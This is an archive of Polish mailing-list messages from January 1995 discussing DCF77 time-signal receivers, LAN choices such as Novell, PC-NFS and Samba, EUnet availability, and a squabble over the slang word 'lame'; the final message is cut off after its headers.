X-Confirm-Reading-To: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
X-Pmrqc:       1
Priority: normal
X-Mailer: Pegasus Mail v3.22
Message-Id: <24BB4E4EEF@sweet.iie.wsi.zgora.pl>

Artur napisal:
> Uklad jest bardzo  prosty i tani - jak kazdy odbiornik na fale dlugie.
> Antena ferrytowa,kilka tranzystorkow itp. Jest tylko jeden problem - z tego 
> co pamietam (o ile sie nie myle) nie sluzy on do zdekodowania pelnego czasu, 
> a jedynie do BARDZO dokladnego odmierzania sekund, przydatne m. in. w mierni-
> kach czestotliwosci.
> 
Ale to chyba nie o ten sam zegar chodzi. Wiem, ze kiedys budowano 
odbiorniki do odbiory sygnalu, ktory to byl wzorcem czasu - stabilnosci. 
Natomiast ten DCF77 to rzeczywiscie w sygnale ma zakodowane wiele 
informacji. Zegary korzystajace z DCF77 mozna w dowolnym momencie wlaczyc 
i zawsze bedziemy mieli dokladny i aktualny czas.

-Grzesiek



----------------------------------------------------------------------------
Grzegorz Mielcarek                   |  gmielcar@sweet.iie.wsi.zgora.pl
Wyzsza Szkola Inzynierska            |  g.mielcarek@wsi.zgora.pl
Instytut Informatyki i Elektroniki   |  
ul. Podgorna 50                      |  tel: 068/254611, 254831 w. 231
65-265 Zielona Gora                  |  fax: 068/253944  
---------------------------------------------------------------------------
          "If you wanna be so sexy, you must drink a lot of Pepsi"
---------------------------------------------------------------------------- 

From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:05:09 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04120; Thu, 19 Jan 95 00:03:29 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12680 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:00:57 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 22:50:58 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3fk60i$nl2@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>, <solarz.112.2F1D1656@ibspan.waw.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Bartlomiej Solarz (solarz@ibspan.waw.pl) wrote:
> >Jaroslaw Rafa pisze:
> >> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
> >> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
> >> >                  do pogodzenia z jakimkolwiek oprogramowaniem.
> >>                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >> > Bede wdzieczny za wszelkie rady.
> >> ????????????
> >Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem
> >sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz,
> >ze w wiekszosci przypadkow alternatywy brak :-)

Jezeli sie kupuje Novella to jest sie potem zwiazanym z ta firma bo
najistotniejsze szczegoly systemu sa tajne.

> Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i 
> zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u 

> Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od 
> komputera!)!!!!

Demon pcnfs jest public domain, a pakiety NFS na MS-DOS sa tanie (a w ogole
na PC - tez darmowe). Ostatnio mowi sie duzo o Sambie (SMB), ktory to
pakiet funkcjonalnie odpowiada NFS, ale ma widocznie jakies dodatkowe
zalety. Oczywiscie tez jest do public domain.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:26:56 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04958; Thu, 19 Jan 95 00:23:28 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12803 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:07:45 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 22:52:56 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3fk648$nl2@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501182144.aa21441@wega.ics.tup.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom

Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote:
> > Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u
> > nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach
> > dyskusyjnych.
> > 					   -Krzysio
>   Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz 
> obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). 

I co maja podlaczone? Obiecywali Warszawe i Gdansk. Mozna juz pingac?

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:26:58 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04961; Thu, 19 Jan 95 00:23:30 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12804 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:07:50 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 22:57:26 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3fk6cm$nl2@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501180842.AA13346@ocean.iopan.gda.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)

Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote:
> Andrzej K. Brandt pisze:
> > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
> > (LAME> ***** Imagine all the people sharing all the world (John Lennon) ***** )

> Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego
> wyzwiska w powaznych grupach.
> Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym
> slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako
> osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B
> przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia
> [BRZYDKIE SLOWA!!!] )

Slowo nie jest szczegolnie brzydkie (chociaz znam ludzi, ktorzy uzywaja
go zamiast przecinkow - ktos taki zapewne powinien nazywac sie
'lamerem') i nie widze powodu do tak ostrej reakcji. Slowa, ktore
uzywamy swiadcza o nas, tak jak nasze .sigs .

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:27:00 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04964; Thu, 19 Jan 95 00:23:32 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12923 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:21:18 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 23:02:33 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3fk6m9$nl2@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <2682FB5771@elektron.pol.lublin.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote:
> Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz,
> stad nazwa tego nadajnika DCF77.
> Sygnal czasu mozna odbierac praktycznie na calym obszarze Polski, potrzebny 
> jest odpowiedni odbiornik i program.

> Osobiscie nie korzystalem z tego ukladu, ale mialem mozliwosc ogladac go
> i rozmawialem bezposrednio z producentem. Z konstrukcyjnego punktu widzenia
> zastosowano tam gotowy modul odbiornika (prod.RFN) sprzezonego z zegarkiem
> cyfrowym. Z tego zegarka wyprowadzono zakodowany sygnal czasu i po zlaczu
> RS232 wprowadzono do komputera. Program rozkodowuje czas i wpisuje do zegarka
> CMOSowego. Zakodowany sygnal zawiera aktualny czas (rozdzielczosc 1s), date,
> czas letni/zimowy, zapowiedz zmiany czasu,lata przestepne itp.

Wiem, ze rozne odbiorniki takich zegarow mozna podlaczyc do xntp. Nie
mam osobistych doswiadczen - szczegoly w dokumentacji.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 09:27:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03430; Thu, 19 Jan 95 09:23:21 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA20141 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 09:18:11 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 12:16:50 GMT
From: Marcin Klimowski <marcin@oeto.pk.edu.pl>
Message-Id: <3fj0ri$d6q@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501181000.AA13792@ocean.iopan.gda.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)

piskozub@ocean.iopan.gda.pl (Jacek Piskozub) wrote:
>

> Nie, takze tam dokad przeplywaja zwyczaje [te najgorsze] stamtad zaczerpniete.
> I co ciekawe, wystepuje to glownie u osob, majacych ksywe IRC-owska
> w herbie (przepraszam: w "sigu").
 
a ja mam swoj IRCNICK w .singnature, ale juz mi wstyd, wiec w tym 
liscie chyba nie zamieszcze . Chyba, ze zmienie zdanie ;))

> Jacek Piskozub

Marcin;)
From krawczyk@kme.agh.edu.pl Thu Jan 19 10:37:51 1995
Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04774; Thu, 19 Jan 95 10:36:54 +0100
Return-Path: <krawczyk@kme.agh.edu.pl>
Received: by kme.agh.edu.pl (4.1/SMI-4.1)
	id AA06655; Thu, 19 Jan 95 10:34:38 +0100
From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Message-Id: <9501190934.AA06655@kme.agh.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
To: polip@zsku.p.lodz.pl
Date: Thu, 19 Jan 1995 10:34:38 +0100 (MET)
In-Reply-To: <1438A76574@inf.wsp.krakow.pl> from "Jaroslaw Rafa" at Jan 18, 95 06:50:03 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1523      

Jaroslaw Rafa pisze:
> 
> > Date sent:      Wed, 18 Jan 95 16:17:27 +0100
> > Send reply to:  polip@zsku.p.lodz.pl
> > From:           krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
> > To:             sfrafa@cyf-kr.edu.pl
> > Subject:        Re: Palac Staszica - jaka siec lokalna wybrac?
> > Organization:   University of Mining and Metallurgy
> 
> > Pomysl korzystania z drukarki podpietej do innego PC jest,
> > moim zdaniem, zly. [...]
> Czyzby? Rozwaz taki uklad:
> cztery laboratoria studenckie po 6 PC w sieci Novell. Jeden serwer w miejscu 
                                                ^^^^^^
Zwroc uwage, ze ja pisalem nie o Novellu tylko o PC-NFSie. Z tego co wiem
w sieci Novell dziala to znacznie lepiej (przypomne: dzielona drukarka przy
lokalnym PC) i jest wykorzystywane bardzo czesto. Proby zrobienia tego
za pomoca PC-NFS koncza sie ograniczeniem dostepnej pamieci do granic
uniemozliwiajacych normalna prace.

> z zalozenia niedostepnym dla studentow. W kazdej pracowni drukarka przy 
> jednym z PC. Wydruki wykonywane w danej pracowni ida na drukarke umieszczona 
> w tejze pracowni. W takim ukladzie wlasnie podlaczanie drukarki do serwera 
> byloby zlym pomyslem! 

Oczywiscie ze zlym.
Rozwiazaniem sa jeszcze dlugie kabelki i cztery porty na serwerze :-)

> Pozdrowienia,
>    Jaroslaw Rafa
>    sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
> 

Grzegorz

-- 
Grzegorz Krawczyk                              krawczyk@kme.agh.edu.pl
University of Mining and Metallurgy       Chair of Electrical Machines
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 15:47:54 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09129; Thu, 19 Jan 95 15:43:13 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA27751 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 15:41:45 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 19 Jan 1995 12:31:13 GMT
From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski)
Message-Id: <3flm2h$g1g@galaxy.uci.agh.edu.pl>
Organization: Instytut Podstawowych Problemow Techiniki Warszawa
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>, <solarz.112.2F1D1656@ibspan.waw.pl>, <3fk60i$nl2@Waldemar.mat.uni.torun.pl>
Reply-To: ppogorze@ippt.gov.pl
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote:

: Demon pcnfs jest public domain, a pakiety NFS na MS-DOS sa tanie (a w ogole
: na PC - tez darmowe). Ostatnio mowi sie duzo o Sambie (SMB), ktory to
: pakiet funkcjonalnie odpowiada NFS, ale ma widocznie jakies dodatkowe
: zalety. Oczywiscie tez jest do public domain.

: R.
: -- 
: Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
: Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec

SAMBA to nic innego jak NetBIOS po TCPIP.  PC-NFS'a nigdy nie uzywalem,
sambe juz od roku. Umozliwia zrobienie taniej sieci:
server
 cos z unixem: 	Linux,
		sun	 
		....	
klient
 cos co rozumie NetBios np.:
	Windows for Workgroups + TCPIP, albo 
	MS LanManager Client (ftp://ftp.microsoft.com/......)
	inne ???

Mozemy teraz jako dyski dosowe montowac katalogi servera.
Dowolna drukarke z servera zamontowac na dowolny port rownolegly.
Darmowy MS LanManager Client umozliwia tez eksportowanie drukarek, dyskow juz nie.
Z servera mozna drukowac na drukarkach przypietch do PC.
 
Predkosc transmisji (386 <-> 486) od 120 do 250 KB/s

Po zainstalowaniu, bez zadnej konfiguracji, kazdy ma dostep do swego homa.
Naprawde swietne


piotr pogorzelski
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 17:05:14 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10950; Thu, 19 Jan 95 17:03:11 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA28927 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 16:57:39 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 19 Jan 1995 16:31:24 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3fm0kc$l5q@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501182144.aa21441@wega.ics.tup.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom

Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote:
: > 
: > Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u
: > nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach
: > dyskusyjnych.
: > 					Pozdrawiam,
: > 					   -Krzysio
: >
:   Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz 
: obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). 

Taak... Biuro jest, ale to chyba wszystko. Te polaczenia to istniejace czy
planowane?
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 17:05:20 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10953; Thu, 19 Jan 95 17:03:14 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA28926 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 16:57:38 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 19 Jan 1995 16:25:49 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3fm09t$k81@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>, <3fj6db$qb5@ghost.mimuw.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
: Grzegorz Krawczyk (krawczyk@kme.agh.edu.pl) wrote:

: : Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy
: : system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba
: : inny system o ktory by mozna oprzec baze danych.

: Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do
: instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie
: dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc
: mniej bolesne niz sie wydaje.

Netware NFS. $$$. To kosztuje drugie tyle co sam NW 3.12...
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 17:27:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12310; Thu, 19 Jan 95 17:23:12 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA29064 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 17:10:48 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 19 Jan 1995 16:42:43 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3fm19j$mql@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501180842.AA13346@ocean.iopan.gda.pl>, <3fk6cm$nl2@Waldemar.mat.uni.torun.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)

Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote:
: Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote:
: > Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego
: > wyzwiska w powaznych grupach.
No, cos w tym jest...

: > Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym
: > slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako
: > osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B
: > przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia
: > [BRZYDKIE SLOWA!!!] )

: Slowo nie jest szczegolnie brzydkie (chociaz znam ludzi, ktorzy uzywaja
: go zamiast przecinkow - ktos taki zapewne powinien nazywac sie
: 'lamerem') i nie widze powodu do tak ostrej reakcji. Slowa, ktore
: uzywamy swiadcza o nas, tak jak nasze .sigs .

Slowo w zasadzie nie jest brzydkie. Doslownie znaczy "chromy", "kulawy",
"kaleki". W zargonie IRCowiczow znaczy mniej wiecej tyle co "beznadziejny".
I tu wlasnie dochodzimy do sedna: nie mozna by napisac po prostu ze cytat
z Lennona (od ktorego sie rzecz zaczela) byl glupi/naiwny/niedorzeczny/nie na
miejscu/wszystko razem/niepotrzebne skreslic? Po co siegac do cudacznego 
slangu, ktorego w zasadzie uzywa tylko niewielki podzbior Internetowej 
populacji? 
BTW. Z kim to ja mialem dyskusje na temat poprawnosci jezykowej (w aspekcie
slow "hacker/cracker")? I czy przypadkiem nie dowiedzialem sie, ze normy 
ustanawia wiekszosc? Moze przeglosujemy zakaz uzywania slowa "lame" w tej 
newsgroupie, nie ze wzgledu na niecenzuralnosc, tylko niepoprawnosc 
jezykowa? :-)
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From krzysio@hebe.umcs.lublin.pl Thu Jan 19 17:47:52 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13073; Thu, 19 Jan 95 17:43:06 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id QAA12578 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 16:44:38 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501191644.QAA12578@hebe.umcs.lublin.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)
To: polip@zsku.p.lodz.pl
Date: Thu, 19 Jan 1995 17:44:37 +0100 (MET)
In-Reply-To: <3fm19j$mql@galaxy.uci.agh.edu.pl> from "Szymon Sokol" at Jan 19, 95 05:31:15 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2384      

Szymon Sokol wrote:
> 
> Slowo w zasadzie nie jest brzydkie. Doslownie znaczy "chromy", "kulawy",
> "kaleki". W zargonie IRCowiczow znaczy mniej wiecej tyle co "beznadziejny".
> I tu wlasnie dochodzimy do sedna: nie mozna by napisac po prostu ze cytat
> z Lennona (od ktorego sie rzecz zaczela) byl glupi/naiwny/niedorzeczny/nie na
> miejscu/wszystko razem/niepotrzebne skreslic? Po co siegac do cudacznego 
> slangu, ktorego w zasadzie uzywa tylko niewielki podzbior Internetowej 
> populacji? 

Hihihi.. teraz tylko poczekam, az sie zacznie dyskusja, czy proponowane
przez Ciebie okreslenia sa, czy tez nie wystarczajaco -- el1t3 ?! :)

> BTW. Z kim to ja mialem dyskusje na temat poprawnosci jezykowej (w aspekcie
> slow "hacker/cracker")? I czy przypadkiem nie dowiedzialem sie, ze normy 
> ustanawia wiekszosc?

No moze w tym przypadku, to nie wiekszosc, a sami zainteresowani.
Np. wedlug niektorych jestesmy Lechitami, ale sami nie bedziemy sie tak
raczej okreslac :-)

> Moze przeglosujemy zakaz uzywania slowa "lame" w tej 
> newsgroupie, nie ze wzgledu na niecenzuralnosc, tylko niepoprawnosc 
> jezykowa? :-)

Nie da sie... zgodnie z tzw. konstytucja, kazdy moze sobie mowic i pisac
co mu sie poddoba - akle na swoja wlasna odpowiedzialnosc :)

> --
>                        Szymon Sokol -- Network Manager
> U    U M     M M     M University of Mining and Metallurgy, Computer Center
> U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
> U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
>  UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
> 

A ja nadal mam dluzsza sygnature..., ale krotszej juz nie zrobie hehe i
to niezaleznie od tego kto bedzie protestowal :-)

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 18:47:53 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14298; Thu, 19 Jan 95 18:43:11 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA00414 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 18:37:36 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Thu, 19 Jan 1995 17:26:56 GMT
From: michalj@fuw.edu.pl (Michal Jankowski)
Message-Id: <MICHALJ.95Jan19182656@thfs1.fuw.edu.pl>
Organization: Warsaw University, Physics Department
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>, <solarz.113.2F1D1661@ibspan.waw.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Innym rozwiazaniem jest uzycie Suna jako komputera i PC-tow jako
terminali - bez montowania dyskow w jakikolwiek sposob (ani Novell,
ani NFS...). Oczywiscie, bez pelnych danych trudno mi powiedziec, czy
to jest dobre rozwiazanie w tym przypadku.

  MJ
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 19:05:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15023; Thu, 19 Jan 95 19:03:10 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00673 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 19:01:07 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 19 Jan 1995 18:01:04 GMT
From: eedogano@faith (Wojciech Doganowski)
Message-Id: <3fm9d0$s2h@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <4D07922D3C@sweet.iie.wsi.zgora.pl>
Subject: Re: Siec Optimusa?

Grzegorz Mielcarek (GMIELCAR@sweet1.iie.wsi.zgora.pl) wrote:
: > Date sent:      Wed, 11 Jan 95 16:20:24 +0100
: > Send reply to:  polip@zsku.p.lodz.pl
: > From:           Jerzy Pastusiak <pastupam@uoo.univ.szczecin.pl>
